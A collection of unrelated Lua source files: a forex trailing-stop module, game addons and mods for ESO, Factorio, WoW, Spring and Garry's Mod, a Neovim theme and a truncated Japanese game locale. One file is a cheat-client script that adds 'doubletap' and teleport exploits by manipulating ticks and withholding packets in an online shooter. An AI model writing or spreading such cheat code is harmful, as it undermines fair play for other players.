function controller:MoveUpOnly()
self._up_only = true;
return self;
end
function controller:SetMinProfit(min_profit)
self._min_profit = min_profit;
return self;
end
function controller:SetIndicatorStream(stream, multiplicator, is_distance)
self._stream = stream;
self._stream_in_distance = is_distance;
self._stream_multiplicator = multiplicator;
return self;
end
function controller:SetIndicatorStreamShift(x, y)
self._stream_x_shift = x;
self._stream_y_shift = y;
return self;
end
function controller:DoBreakeven()
if self._executed then
return false;
end
local trade = self:GetTrade();
if trade == nil or (self._move_command ~= nil and not self._move_command.Finished) then
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
local streamPeriod = NOW;
if self._stream_x_shift ~= nil then
streamPeriod = streamPeriod - self._stream_x_shift;
end
if not self._stream:hasData(streamPeriod) then
return true;
end
if self._target_id == breakeven.STOP_ID then
return self:DoStopTrailing(trade, streamPeriod);
elseif self._target_id == breakeven.LIMIT_ID then
return self:DoLimitTrailing(trade, streamPeriod);
end
return self:DoOrderTrailing(trade, streamPeriod);
end
function controller:DoStopTrailing(trade, streamPeriod)
local new_level;
local offer = self:GetOffer();
if self._stream_in_distance then
local tick = self._stream:tick(streamPeriod) * self._stream_multiplicator;
if self._stream_y_shift ~= nil then
tick = tick + self._stream_y_shift * offer.PointSize;
end
if trade.BS == "B" then
new_level = breakeven:round(trade.Open - tick, offer.Digits);
else
new_level = breakeven:round(trade.Open + tick, offer.Digits);
end
else
local tick = self._stream:tick(streamPeriod);
if self._stream_y_shift ~= nil then
if trade.BS == "B" then
tick = tick + self._stream_y_shift * offer.PointSize;
else
tick = tick - self._stream_y_shift * offer.PointSize;
end
end
new_level = breakeven:round(self._stream:tick(streamPeriod), offer.Digits);
end
if self._min_profit ~= nil then
if trade.BS == "B" then
if (new_level - trade.Open) / offer.PointSize < self._min_profit then
return true;
end
else
if (trade.Open - new_level) / offer.PointSize < self._min_profit then
return true;
end
end
end
if self._up_only then
if trade.BS == "B" then
if trade.Stop >= new_level then
return true;
end
else
if trade.Stop <= new_level then
return true;
end
end
return true;
end
if trade.Stop ~= new_level then
self._move_command = self._parent._trading:MoveStop(trade, new_level);
end
return true;
end
function controller:DoLimitTrailing(trade, streamPeriod)
assert(self._up_only == nil, "Not implemented!!!");
local new_level;
local offer = self:GetOffer();
if self._stream_in_distance then
local tick = self._stream:tick(streamPeriod) * self._stream_multiplicator;
if self._stream_y_shift ~= nil then
tick = tick + self._stream_y_shift * offer.PointSize;
end
if trade.BS == "B" then
new_level = breakeven:round(trade.Open + tick, offer.Digits);
else
new_level = breakeven:round(trade.Open - tick, offer.Digits);
end
else
local tick = self._stream:tick(streamPeriod);
if self._stream_y_shift ~= nil then
if trade.BS == "B" then
tick = tick - self._stream_y_shift * offer.PointSize;
else
tick = tick + self._stream_y_shift * offer.PointSize;
end
end
new_level = breakeven:round(tick, offer.Digits);
end
if self._min_profit ~= nil then
if trade.BS == "B" then
if (trade.Open - new_level) / offer.PointSize < self._min_profit then
return true;
end
else
if (new_level - trade.Open) / offer.PointSize < self._min_profit then
return true;
end
end
end
if trade.Limit ~= new_level then
self._move_command = self._parent._trading:MoveLimit(trade, new_level);
end
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
function breakeven:CreateTrailingLimitController()
local controller = self:CreateBaseController();
function controller:SetDirection(direction)
self._direction = direction;
return self;
end
function controller:SetTrigger(trigger)
self._trigger = trigger;
return self;
end
function controller:SetStep(step)
self._step = step;
return self;
end
function controller:DoBreakeven()
if self._executed then
return false;
end
local trade = self:GetTrade();
if trade == nil or (self._move_command ~= nil and not self._move_command.Finished) then
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
if self._direction == 1 then
if trade.PL >= self._trigger then
local offer = self:GetOffer();
local target_limit;
if trade.BS == "B" then
target_limit = self._initial_limit + self._step * offer.PointSize;
else
target_limit = self._initial_limit - self._step * offer.PointSize;
end
self._initial_limit = target_limit;
self._trigger = self._trigger + self._step;
self._move_command = self._parent._trading:MoveLimit(trade, target_limit);
return true;
end
elseif self._direction == -1 then
if trade.PL <= -self._trigger then
local offer = self:GetOffer();
local target_limit;
if trade.BS == "B" then
target_limit = self._initial_limit - self._step * offer.PointSize;
else
target_limit = self._initial_limit + self._step * offer.PointSize;
end
self._initial_limit = target_limit;
self._trigger = self._trigger + self._step;
self._move_command = self._parent._trading:MoveLimit(trade, target_limit);
return true;
end
else
core.host:trace("No direction is set for the trailing limit");
end
return true;
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
function breakeven:ActionOnTrade(action)
local controller = self:CreateBaseController();
controller._action = action;
function controller:DoBreakeven()
if self._executed then
return false;
end
local trade = self:GetTrade();
if trade == nil then
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
self._action(trade, self);
self._executed = true;
return true;
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
function breakeven:CreateController()
local controller = self:CreateBaseController();
controller._trailing = 0;
function controller:SetWhen(when)
self._when = when;
return self;
end
function controller:SetTo(to)
self._to = to;
return self;
end
function controller:SetTrailing(trailing)
self._trailing = trailing
return self;
end
function controller:SetPartialClose(amountPercent)
self._close_percent = amountPercent;
return self;
end
function controller:getTo()
local trade = self:GetTrade();
local offer = self:GetOffer();
if trade.BS == "B" then
return offer.Bid - (trade.PL - self._to) * offer.PointSize;
else
return offer.Ask + (trade.PL - self._to) * offer.PointSize;
end
end
function controller:DoPartialClose()
local trade = self:GetTrade();
if trade == nil then
return true;
end
if not trade:refresh() then
self._close_percent = nil;
return false;
end
local base_size = core.host:execute("getTradingProperty", "baseUnitSize", trade.Instrument, trade.AccountID);
local to_close = breakeven:round(trade.Lot * self._close_percent / 100.0 / base_size) * base_size;
trading:ParialClose(trade, to_close);
self._close_percent = nil;
return true;
end
function controller:DoBreakeven()
if self._executed then
if self._close_percent ~= nil then
if self._command ~= nil and self._command.Finished or self._command == nil then
self._close_percent = nil;
return self:DoPartialClose();
end
end
return false;
end
local trade = self:GetTrade();
if trade == nil then
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
if trade.PL >= self._when then
if self._to ~= nil then
self._command = self._parent._trading:MoveStop(trade, self:getTo(), self._trailing);
end
self._executed = true;
return false;
end
return true;
end
self._controllers[#self._controllers + 1] = controller;
return controller;
end
function breakeven:RestoreTrailingOnProfitController(controller)
controller._parent = self;
function controller:SetProfitPercentage(profit_pr, min_profit)
self._profit_pr = profit_pr;
self._min_profit = min_profit;
return self;
end
function controller:GetClosedTrade()
if self._closed_trade == nil then
self._closed_trade = core.host:findTable("closed trades"):find("OpenOrderReqID", self._request_id);
if self._closed_trade == nil then return nil; end
end
if not self._closed_trade:refresh() then return nil; end
return self._closed_trade;
end
function controller:getStopPips(trade)
local stop = trading:FindStopOrder(trade);
if stop == nil then
return nil;
end
local offer = self:GetOffer();
if trade.BS == "B" then
return (stop.Rate - trade.Open) / offer.PointSize;
else
return (trade.Open - stop.Rate) / offer.PointSize;
end
end
function controller:DoBreakeven()
if self._executed then
return false;
end
if self._move_command ~= nil and not self._move_command.Finished then
return true;
end
local trade = self:GetTrade();
if trade == nil then
if self:GetClosedTrade() ~= nil then
self._executed = true;
end
return true;
end
if not trade:refresh() then
self._executed = true;
return false;
end
if trade.PL < self._min_profit then
return true;
end
local new_stop = trade.PL * (self._profit_pr / 100);
local current_stop = self:getStopPips(trade);
if current_stop == nil or current_stop < new_stop then
local offer = self:GetOffer();
if trade.BS == "B" then
if not trailing_mark:hasData(NOW) then
trailing_mark[NOW] = trade.Close;
end
self._move_command = self._parent._trading:MoveStop(trade, trade.Open + new_stop * offer.PointSize);
core.host:trace("Moving stop for " .. trade.TradeID .. " to " .. trade.Open + new_stop * offer.PointSize);
else
if not trailing_mark:hasData(NOW) then
trailing_mark[NOW] = trade.Close;
end
self._move_command = self._parent._trading:MoveStop(trade, trade.Open - new_stop * offer.PointSize);
core.host:trace("Moving stop for " .. trade.TradeID .. " to " .. trade.Open - new_stop * offer.PointSize);
end
return true;
end
return true;
end
end
function breakeven:CreateTrailingOnProfitController()
local controller = self:CreateBaseController();
controller._trailing = 0;
self:RestoreTrailingOnProfitController(controller);
self._controllers[#self._controllers + 1] = controller;
return controller;
end
breakeven:RegisterModule(Modules);
tables_monitor = {};
tables_monitor.Name = "Tables monitor";
tables_monitor.Version = "1.2";
tables_monitor.Debug = false;
tables_monitor._ids_start = nil;
tables_monitor._new_trade_id = nil;
tables_monitor._trade_listeners = {};
tables_monitor._closed_trade_listeners = {};
tables_monitor._close_order_listeners = {};
tables_monitor.closing_order_types = {};
function tables_monitor:ListenTrade(func)
self._trade_listeners[#self._trade_listeners + 1] = func;
end
function tables_monitor:ListenCloseTrade(func)
self._closed_trade_listeners[#self._closed_trade_listeners + 1] = func;
end
function tables_monitor:ListenCloseOrder(func)
self._close_order_listeners[#self._close_order_listeners + 1] = func;
end
function tables_monitor:trace(str) if not self.Debug then return; end core.host:trace(self.Name .. ": " .. str); end
function tables_monitor:Init(parameters) end
function tables_monitor:Prepare(name_only)
if name_only then return; end
self._new_trade_id = self._ids_start;
self._order_change_id = self._ids_start + 1;
self._ids_start = self._ids_start + 2;
core.host:execute("subscribeTradeEvents", self._order_change_id, "orders");
core.host:execute("subscribeTradeEvents", self._new_trade_id, "trades");
end
function tables_monitor:OnNewModule(module) end
function tables_monitor:RegisterModule(modules) for _, module in pairs(modules) do self:OnNewModule(module); module:OnNewModule(self); end modules[#modules + 1] = self; self._ids_start = (#modules) * 100; end
function tables_monitor:ReleaseInstance() end
function tables_monitor:AsyncOperationFinished(cookie, success, message, message1, message2)
if cookie == self._new_trade_id then
local trade_id = message;
local close_trade = success;
if close_trade then
local closed_trade = core.host:findTable("closed trades"):find("TradeID", trade_id);
if closed_trade ~= nil then
for _, callback in ipairs(self._closed_trade_listeners) do
callback(closed_trade);
end
end
else
local trade = core.host:findTable("trades"):find("TradeID", message);
if trade ~= nil then
for _, callback in ipairs(self._trade_listeners) do
callback(trade);
end
end
end
elseif cookie == self._order_change_id then
local order_id = message;
local order = core.host:findTable("orders"):find("OrderID", order_id);
local fix_status = message1;
if order ~= nil then
if order.Stage == "C" then
self.closing_order_types[order.OrderID] = order.Type;
for _, callback in ipairs(self._close_order_listeners) do
callback(order);
end
end
end
end
end
function tables_monitor:ExtUpdate(id, source, period) end
function tables_monitor:BlockTrading(id, source, period) return false; end
function tables_monitor:BlockOrder(order_value_map) return false; end
function tables_monitor:OnOrder(order_value_map) end
tables_monitor:RegisterModule(Modules); |
function AgsInvididualItemPriceFilter.InitInvididualItemPriceFilterClass()
local AGS = AwesomeGuildStore
local FilterBase = AGS.class.FilterBase
local ValueRangeFilterBase = AGS.class.ValueRangeFilterBase
local FILTER_ID = AGS:GetFilterIds()
local InvididualItemPriceFilter = ValueRangeFilterBase:Subclass()
AgsInvididualItemPriceFilter.InvididualItemPriceFilter = InvididualItemPriceFilter
function InvididualItemPriceFilter:New(...)
return ValueRangeFilterBase.New(self, ...)
end
function InvididualItemPriceFilter:Initialize()
ValueRangeFilterBase.Initialize(self,
AgsInvididualItemPriceFilter.internal.FILTER_ID.INDIVIDUAL_ITEM_PRICE_FILTER,
FilterBase.GROUP_SERVER,
{
-- TRANSLATORS: label of the deal filter
label = "Individual Item Price Filter",
min = 1,
max = 2,
steps = {
{
id = 1,
label = "Inactive",
icon = "AwesomeGuildStore/images/qualitybuttons/normal_%s.dds",
},
{
id = 2,
label = "Active",
icon = "AwesomeGuildStore/images/qualitybuttons/magic_%s.dds",
}
}
})
function InvididualItemPriceFilter:CanFilter(subcategory)
return true
end
end
function InvididualItemPriceFilter:FilterLocalResult(result)
if (self.localMin == self.localMax and self.localMin == 2) then
local index = result.itemUniqueId
local itemLink = GetTradingHouseSearchResultItemLink(index)
local itemId = GetItemLinkItemId(itemLink)
local maxPrice = tonumber(AgsInvididualItemPriceFilter.savedVariables[AgsInvididualItemPriceFilter.loggedInWorldName][itemId])
if (maxPrice == nil or maxPrice <= 0) then
return true
end
local unitPrice = result.purchasePrice / result.stackCount
local deal = true
if unitPrice > maxPrice then -- dreugh wax
deal = false
end
return deal
end
return true
end
function InvididualItemPriceFilter:GetTooltipText(min, max)
return ""
end
return InvididualItemPriceFilter
end
|
local prismaticButton = {}
local function createPrismaticButton(box2dWorldProxy, options)
-- make ground
local groundDef = b2BodyDef()
groundDef.position = options.groundPosition
local groundShape = b2PolygonShape()
groundShape:SetAsBox(1.0, 0.5)
local groundFixture = b2FixtureDef()
groundFixture.density = 1.0
local ground = box2dWorldProxy:createNewBody(groundDef, groundShape, groundFixture)
--make button
local buttonShape = b2PolygonShape()
buttonShape:SetAsBox(options.shape.x, options.shape.y)
local buttonDef = b2BodyDef()
buttonDef.type = b2BodyType.b2_dynamicBody
buttonDef.allowSleep = false
buttonDef.position = options.buttonPosition
local buttonFixture = b2FixtureDef()
buttonFixture.density = 1.0
local button = box2dWorldProxy:createNewBody(buttonDef, buttonShape, buttonFixture)
--make prismatic joint joining button and ground
local prismaticJoint = b2PrismaticJointDef()
local axis = options.axis or b2Vec2(0.0, 1.0)
axis:Normalize()
prismaticJoint:Initialize(button, ground, button:GetWorldCenter(), axis)
prismaticJoint.motorSpeed = options.motorSpeed or 1.0
prismaticJoint.maxMotorForce = options.maxMotorForce or 160.0
prismaticJoint.enableMotor = options.enableMotor or true
prismaticJoint.lowerTranslation = options.lowerTranslation or -2.0
prismaticJoint.upperTranslation = options.upperTranslation or 0.0
prismaticJoint.enableLimit = options.enableLimit or true
return { joint = box2dWorldProxy:createPrismaticJoint(prismaticJoint)}
end
prismaticButton.createPrismaticButton = createPrismaticButton
return prismaticButton
|
local function getKey(entity)
return "x" .. entity.position.x .. "y".. entity.position.y
end
function IsolateElectric_OnPlayerSelectedArea(event)
if event.item and event.item == "isolate-planner" then
local player = game.players[event.player_index]
local inner_entities = {}
-- gather all entities inside selected area
for _,entity in ipairs(event.entities) do
if entity.prototype.max_wire_distance ~= nil then
local key = getKey(entity)
inner_entities[key] = entity
end
end
-- remove connections to entities outside this area
for _,entity in pairs(inner_entities) do
for _,neighbour in pairs(entity.neighbours["copper"]) do
if inner_entities[getKey(neighbour)] == nil then
entity.disconnect_neighbour(neighbour)
end
end
end
end
end
function IsolateElectric_OnPlayerAltSelectedArea(event)
if event.item and event.item == "isolate-planner" then
local player = game.players[event.player_index]
-- Remove all circuits connection
for _,entity in ipairs(event.entities) do
if entity.prototype.max_wire_distance ~= nil then
entity.disconnect_neighbour(defines.wire_type.red)
entity.disconnect_neighbour(defines.wire_type.green)
end
end
end
end
function IsolateElectric_GatherLockedNetwork(k, entity)
if not global.IsolateElectric then
global.IsolateElectric = {}
end
global.IsolateElectric.LockedElectricNetwork[k] = true
for _,neighbour in pairs(entity.neighbours["copper"]) do
local k2 = getKey(neighbour)
if not global.IsolateElectric.LockedElectricNetwork[k] then
IsolateElectric_GatherLockedNetwork(k2, entity)
end
end
end
function IsolateElectric_OnPlayerBuiltEntity(event)
local player = game.players[event.player_index]
local entity = event.created_entity
if not global.IsolateElectric then
global.IsolateElectric = {}
end
if entity and entity.type == "electric-pole" and global.IsolateElectric.LockedElectricNetwork then
local k = getKey(entity)
local is_connected_to_locked_network = false
local some_connections_are_deleted = false
for _,neighbour in pairs(entity.neighbours["copper"]) do
local k2 = getKey(neighbour)
if global.IsolateElectric.LockedElectricNetwork[k2] then
is_connected_to_locked_network = true
end
end
if is_connected_to_locked_network then
-- Add new pole to the locked network
global.IsolateElectric.LockedElectricNetwork[k] = true
for _,neighbour in pairs(entity.neighbours["copper"]) do
local k2 = getKey(neighbour)
if not global.IsolateElectric.LockedElectricNetwork[k2] then
entity.disconnect_neighbour(neighbour)
some_connections_are_deleted = true
end
end
end
if global.IsolateElectric.LastPlacedKey == k and some_connections_are_deleted then
-- Player is placing pole over and over again trying to figure out "Why the hell it isn't connecting?", so let's help him...
player.print("Electric network locked mode deleted some copper connections. Turn in off with 'Lock electric network' hotkey.")
else
global.IsolateElectric.LastPlacedKey = k
end
end
end
script.on_event("powerisolate-lock-electric-network", function(event)
local player = game.players[event.player_index]
local entity = player.selected
if not global.IsolateElectric then
global.IsolateElectric = {}
end
if global.IsolateElectric.LockedElectricNetwork then
global.IsolateElectric.LockedElectricNetwork = nil
player.print("Unlocked electric network.")
else
if entity and entity.type == "electric-pole" then
global.IsolateElectric.LockedElectricNetwork = {}
IsolateElectric_GatherLockedNetwork(getKey(entity),entity)
player.print("Locked on this electric network. All new built poles will only connect to this network and will be isolated from other electric networks.")
else
player.print("Select an electric pole to lock an electric network")
end
end
end)
script.on_event(defines.events.on_player_selected_area, IsolateElectric_OnPlayerSelectedArea)
script.on_event(defines.events.on_player_alt_selected_area, IsolateElectric_OnPlayerAltSelectedArea)
-- Only player can use 'Lock electric network' since robots don't build poles in sequence, so the algorithm just won't work with them.
script.on_event(defines.events.on_built_entity, IsolateElectric_OnPlayerBuiltEntity)
|
-- @note: main cheat config region
local g_cheat_cfg = { }
g_cheat_cfg.m_current_exploit = ui.get_combo_box( 'rage_active_exploit' )
g_cheat_cfg.m_exploit_bind = ui.get_key_bind( 'rage_active_exploit_bind' )
-- @note: menu class region
local g_menu = { }
ui.add_slider_int( ' [ rage ]', 'tc_label1', 0, 0, 0 )
g_menu.m_better_exploits = ui.add_check_box( 'better exploits', 'tc_better_exploits', false )
g_menu.m_hide_shots = ui.add_key_bind( 'hide shots', 'tc_hide_shots', 0, 1 )
g_menu.m_double_tap = ui.add_key_bind( 'doubletap', 'tc_doubletap', 0, 1 )
g_menu.m_double_tap_additives = ui.add_multi_combo_box( 'additives', 'tc_additives', { 'instant mode', 'extended teleport' }, { false, false } )
-- @note: exploit base region
local g_exploits = { }
g_exploits.m_cheat_fire = false
g_exploits.m_cheat_fire_time = 0
g_exploits.m_cheat_fire_diff = 0
g_exploits.m_should_recharge = false
g_exploits.m_is_saved_tick_count = false
g_exploits.m_recharge_tick_count = 0
g_exploits.m_diff = 0
-- @note: functional region
local g_functional = { }
g_functional.better_exploits = function( )
-- @note: we shouldn`t use this function
if not g_menu.m_better_exploits:get_value( ) then
return end
-- @note: when custom bind is active
if g_menu.m_hide_shots:is_active( ) or g_menu.m_double_tap:is_active( ) then
g_cheat_cfg.m_exploit_bind:set_type( 0 )
if g_menu.m_double_tap:is_active( ) then
if g_exploits.m_should_recharge and g_menu.m_double_tap_additives:get_value( 0 ) and g_menu.m_double_tap_additives:get_value( 1 ) then
g_cheat_cfg.m_current_exploit:set_value( 0 )
else
g_cheat_cfg.m_current_exploit:set_value( 2 )
end
else
if g_menu.m_hide_shots:is_active( ) then
g_cheat_cfg.m_current_exploit:set_value( 1 )
end
end
else
g_cheat_cfg.m_exploit_bind:set_type( 1 )
g_cheat_cfg.m_exploit_bind:set_key( 0 )
g_cheat_cfg.m_current_exploit:set_value( 0 )
end
end
local g_local_player = nil
-- @note: createmove region
local function on_create_move( cmd )
-- @note: local player register
g_local_player = entitylist.get_local_player( )
-- @note: process recharge when fire
if g_exploits.m_cheat_fire then
-- @note: setup fire diff
g_exploits.m_cheat_fire_diff = globalvars.get_current_time( ) - g_exploits.m_cheat_fire_time
-- @note: when difference is big enough
if g_exploits.m_cheat_fire_diff > 2.5 / 10 then
g_exploits.m_should_recharge = true
g_exploits.m_cheat_fire = false
end
end
-- @note: tick count is not saved while recharge
if g_exploits.m_should_recharge and not g_exploits.m_is_saved_tick_count then
g_exploits.m_recharge_tick_count = cmd.tick_count
g_exploits.m_is_saved_tick_count = true
end
-- @note: do procedural recharge
if g_exploits.m_should_recharge and g_exploits.m_is_saved_tick_count then
g_exploits.m_diff = cmd.tick_count - g_exploits.m_recharge_tick_count
-- @note: simple teleport
if g_menu.m_double_tap_additives:get_value( 0 ) then cmd.send_packet = false end
end
-- @note: when time is out we disable charge
if g_exploits.m_diff > 14 and g_exploits.m_should_recharge and g_exploits.m_is_saved_tick_count then
g_exploits.m_should_recharge = false
g_exploits.m_is_saved_tick_count = false
g_exploits.m_diff = 0
end
g_functional.better_exploits( )
end
client.register_callback( 'create_move', on_create_move )
-- @note: shot fired region
local function on_shot_fired( info )
g_exploits.m_cheat_fire = true
g_exploits.m_cheat_fire_time = globalvars.get_current_time( )
end
client.register_callback( 'shot_fired', on_shot_fired ) |
local colorscheme = "onedarker"
local colorscheme_visual_multi = "purplegray"
local transparent_bg = true
-- Set colorscheme and notify user if colorscheme could not be found
local is_changed_ok, _ = pcall(vim.cmd, "colorscheme " .. colorscheme)
if not is_changed_ok then
vim.notify("The colorscheme " .. colorscheme .. " was not found.")
end
-- Set vim-visual-multi (plugin for multi-line cursors) theme
vim.api.nvim_set_var("VM_theme", colorscheme_visual_multi)
-- Set transparent backgrounds
if transparent_bg then
local groups = {
"Comment",
"Conditional",
"Constant",
"CursorLineNr",
"Folded",
"Function",
"Identifier",
"LineNr",
"MoreMsg",
"MsgArea",
"NonText",
"Normal",
"NormalNC",
"NvimTreeNormal",
"Operator",
"PreProc",
"Repeat",
"SignColumn",
"Special",
"Statement",
"String",
"Structure",
"Todo",
"Type",
"Underlined",
"NormalFloat",
"FloatBorder",
}
for _, group in ipairs(groups) do
vim.cmd("highlight " .. group .. " guibg=none ctermbg=none")
end
end
|
ITEM.name = "DSR-1"
ITEM.description = "A bolt-action bullpup sniper rifle chambered for the .338 Lapua round."
ITEM.model = "models/weapons/dsr1/w_dsr1.mdl"
ITEM.class = "cw_kk_ins2_dsr1"
ITEM.weaponCategory = "primary"
ITEM.width = 4
ITEM.height = 2
ITEM.price = 80000
ITEM.weight = 13 |
--[[
Project: CombatMusic
Friendly Name: CombatMusic
Author: Donald "AndrielChaoti" Granger
File: options.lua
Purpose: All of the options that come with the standard kit.
Version: @file-revision@
This software is licenced under the MIT License.
Please see the LICENCE file for more details.
]]
-- GLOBALS: CombatMusicDB, CombatMusicBossList, InCombatLockdown, ReloadUI
-- GLOBALS: UnitName, InterfaceOptionsFrame_OpenToCategory
--Import Engine, Locale, Defaults, CanonicalTitle
local AddOnName = ...
local E, L, DF = unpack(select(2, ...))
local DEFAULT_WIDTH = 770
local DEFAULT_HEIGHT = 500
local AC = LibStub("AceConfig-3.0")
local ACD = LibStub("AceConfigDialog-3.0")
local ACR = LibStub("AceConfigRegistry-3.0")
AC:RegisterOptionsTable(AddOnName, E.Options)
ACD:SetDefaultSize(AddOnName, DEFAULT_WIDTH, DEFAULT_HEIGHT)
--local f = ACD:AddToBlizOptions(AddOnName)
--f.default = function() E:RestoreDefaults() end
local strCredits=[[I want to give a special thank you to everyone who's helped out with CombatMusic's development, or donated money to the project. If I've missed your name, send me a PM on Curse, and I will add you!
§TCombatMusic's§r Authors:
------------------
§TAndrielChaoti§r - Author / Project Manager
yuningning520 - zhCN translation
§6Special Thanks:§r
------------------
Zeshio@Proudmoore
]]
local tinsert, unpack, ipairs, pairs = table.insert, unpack, ipairs, pairs
local strfind = string.find
local printFuncName = E.printFuncName
--- toggles the optiosn frame
function E:ToggleOptions()
printFuncName("ToggleOptions")
if InCombatLockdown() then
self:PrintError(L["Can't do that in combat."])
return
end
ACD:Open(AddOnName)
end
local blName = ""
local blSong = ""
-- Adds the user's text to the bosslist.
function E:AddNewBossListEntry()
printFuncName("AddNewBossListEntry")
if not strfind(blSong, "\.mp3$") then
end
-- Get the current target's name if they picked it.1
if blName == "%TARGET" then
blName = UnitName("target")
end
-- Check to make sure there's a target and song
if blName == "" or blName == nil then
self:PrintError(L["Err_NoBossListNameTarget"])
return
end
if blSong == "" or blSong == nil then
self:PrintError(L["Err_NoBossListSong"])
return
elseif not strfind(blSong, "\.mp3$") then
self:PrintError(L["Err_NeedsToBeMP3"])
return
end
-- Add that song.
CombatMusicBossList[blName] = blSong
-- Rebuild the list of buttons! yay!
self.Options.args.General.args.BossList.args.ListGroup.args = self:GetBosslistButtons()
ACR:NotifyChange(AddOnName)
blName = ""
blSong = ""
end
--- Gets and creates the list of buttons that the user can click to remove bosslist entries.
function E:GetBosslistButtons()
local t = {}
local count = 0
for k, v in pairs(CombatMusicBossList) do
count = count + 1
t["ListItem" .. count] = {
type = "execute",
name = k,
desc = v,
confirm = true,
confirmText = L["RemoveBossList"],
func = function()
CombatMusicBossList[k] = nil
-- redraw the list!
self.Options.args.General.args.BossList.args.ListGroup.args = self:GetBosslistButtons()
ACR:NotifyChange(AddOnName)
end,
}
end
return t
end
function E:RestoreDefaults()
CombatMusicDB = DF
CombatMusicBossList = {}
ACR:NotifyChange(AddOnName)
end
----------------
-- Options Table
----------------
E.Options.args = {
VerHeader = {
name = E:GetVersion(false, true),
type = "header",
order = 0,
},
Enabled = {
name = L["Enabled"],
desc = L["Desc_Enabled"],
type = "toggle",
confirm = true,
confirmText = L["Confirm_Reload"],
get = function(info) return E:GetSetting("Enabled") end,
set = function(info, val) CombatMusicDB.Enabled = val; if val then E:Enable(); else E:Disable(); end; ReloadUI(); end,
},
LoginMessage = {
name = L["LoginMessage"],
type = "toggle",
get = function(info) return E:GetSetting("LoginMessage") end,
set = function(info, val) CombatMusicDB.LoginMessage = val end,
order = 110,
},
RestoreDefaults = {
name = L["RestoreDefaults"],
desc = L["Desc_RestoreDefaults"],
type = "execute",
confirm = true,
confirmText = L["Confirm_RestoreDefaults"],
func = function() E:RestoreDefaults() end,
order = 120,
},
-- About Screen --
------------------
About = {
name = L["About"],
type = "group",
order = 600,
args = {
DescText = {
name = L["Desc_About"],
type = "description",
width = "full",
order = 601
},
Author = {
name = L["Author"],
type = "input",
width = "full",
order = 602,
get = function(...)
return GetAddOnMetadata(AddOnName, "author")
end
},
website = {
name = L["Website"],
type = "input",
width = "full",
order = 604,
get = function(...)
return "https://wow.curseforge.com/projects/van32s-combatmusic"
end
},
github = {
name = L["GitHub"],
type = "input",
width = "full",
order = 605,
get = function(...)
return "https://github.com/AndrielChaoti/CombatMusic"
end
},
VerStr = {
name = L["Version"],
desc = L["Desc_Version"],
type = "input",
width = "full",
order = 603,
get = function(...)
return E:GetVersion()
end
}
}
},
-- Contributors & Credits --
----------------------------
Credits = {
name = "Credits",
type = "group",
order = 500,
args = {
ContList = {
name = E:ParseColoredString(strCredits),
--desc = ""
type = "description",
fontSize = "medium",
},
},
},
General = {
name = "General",
type = "group",
order = 0,
get = function(info) return E:GetSetting("General", info[#info]) end,
set = function(info, val) CombatMusicDB.General[info[#info]] = val end,
args = {
UseMaster = {
name = L["UseMaster"],
desc = L["Desc_UseMaster"],
type = "toggle",
},
Volume = {
name = L["Volume"],
--desc = L["Desc_Volume"],
type = "range",
width = "double",
min = 0.01,
max = 1,
step = 0.001,
bigStep = 0.01,
isPercent = true,
order = 200,
},
-- ["Fix5.3Bug"] = {
-- name = L["Fix5.3Bug"],
-- desc = L["Fix5.3Bug_Desc"],
-- type = "toggle",
-- width = "full",
-- order = 201,
-- },
SongList = {
name = L["NumSongs"],
--desc = L["Desc_NumSongs"],
type = "group",
inline = true,
order = 400,
args = {} -- This will be filled in by our :RegisterSongType
},
BossList = {
name = L["BossList"],
type = "group",
order = -1,
args = {
Help1 = {
name = L["BossListHelp1"],
--desc = L["Desc_Help1"],
type = "description",
order = 90,
},
BossListName = {
name = L["BossListName"],
desc = L["Desc_BossListName"],
order = 100,
type = "input",
set = function(info,val) blName = val end,
get = function(info) return blName end,
},
BossListSong = {
name = L["BossListSong"],
desc = L["Desc_BossListSong"],
type = "input",
width = "double",
order = 110,
set = function(info, val) blSong = val end,
get = function(info) return blSong end,
},
AddBossList = {
name = ADD,
desc = L["Desc_AddBossList"],
type = "execute",
width = "full",
order = 120,
func = function() E:AddNewBossListEntry() end,
},
ListGroup = {
name = L["ListGroup"],
--desc = L["Desc_ListGroup"],
type = "group",
order = -1,
inline = true,
args = {} -- Get the bosslist buttons dynamically as well.
}
}
}
}
}
}
|
function gadget:GetInfo()
return {
name = "mo_nowrecks",
desc = "mo_nowrecks",
author = "TheFatController",
date = "19 Jan 2008",
license = "GNU GPL, v2 or later",
layer = 0,
enabled = true -- loaded by default?
}
end
--------------------------------------------------------------------------------
--------------------------------------------------------------------------------
if (not gadgetHandler:IsSyncedCode()) then
return
end
local enabled = tonumber(Spring.GetModOptions().mo_nowrecks) or 0
if (enabled == 0) then
return false
end
function gadget:AllowFeatureCreation(featureDefID, teamID, x, y, z)
local featureName = (FeatureDefs[featureDefID].tooltip or "nil")
if string.find(featureName, 'Teeth') then
return true
end
if string.find(featureName, 'Wall') then
return true
end
return false
end
--------------------------------------------------------------------------------
-------------------------------------------------------------------------------- |
return {
effect = {
elona = {
bleeding = {
apply = function(_1)
return ("%sは血を流し始めた。")
:format(name(_1))
end,
heal = function(_1)
return ("%sの出血は止まった。")
:format(name(_1))
end,
indicator = {
_0 = "切り傷",
_1 = "出血",
_2 = "大出血"
},
},
blindness = {
apply = function(_1)
return ("%sは盲目になった。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは盲目から回復した。")
:format(name(_1))
end,
blind = "盲目",
},
confusion = {
apply = function(_1)
return ("%sは混乱した。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは混乱から回復した。")
:format(name(_1))
end,
indicator = "混乱",
},
dimming = {
apply = function(_1)
return ("%sは朦朧とした。")
:format(name(_1))
end,
heal = function(_1)
return ("%sの意識ははっきりした。")
:format(name(_1))
end,
indicator = {
_0 = "朦朧",
_1 = "混濁",
_2 = "気絶"
},
},
drunk = {
apply = function(_1)
return ("%sは酔っ払った。")
:format(name(_1))
end,
heal = function(_1)
return ("%sの酔いは覚めた。")
:format(name(_1))
end,
indicator = "酔払い",
},
fear = {
apply = function(_1)
return ("%sは恐怖に侵された。")
:format(name(_1))
end,
heal = function(_1)
return ("%sは恐怖から立ち直った。")
:format(name(_1))
end,
indicator = "恐怖",
},
insanity = {
apply = function(_1)
return ("%sは気が狂った。")
:format(name(_1))
end,
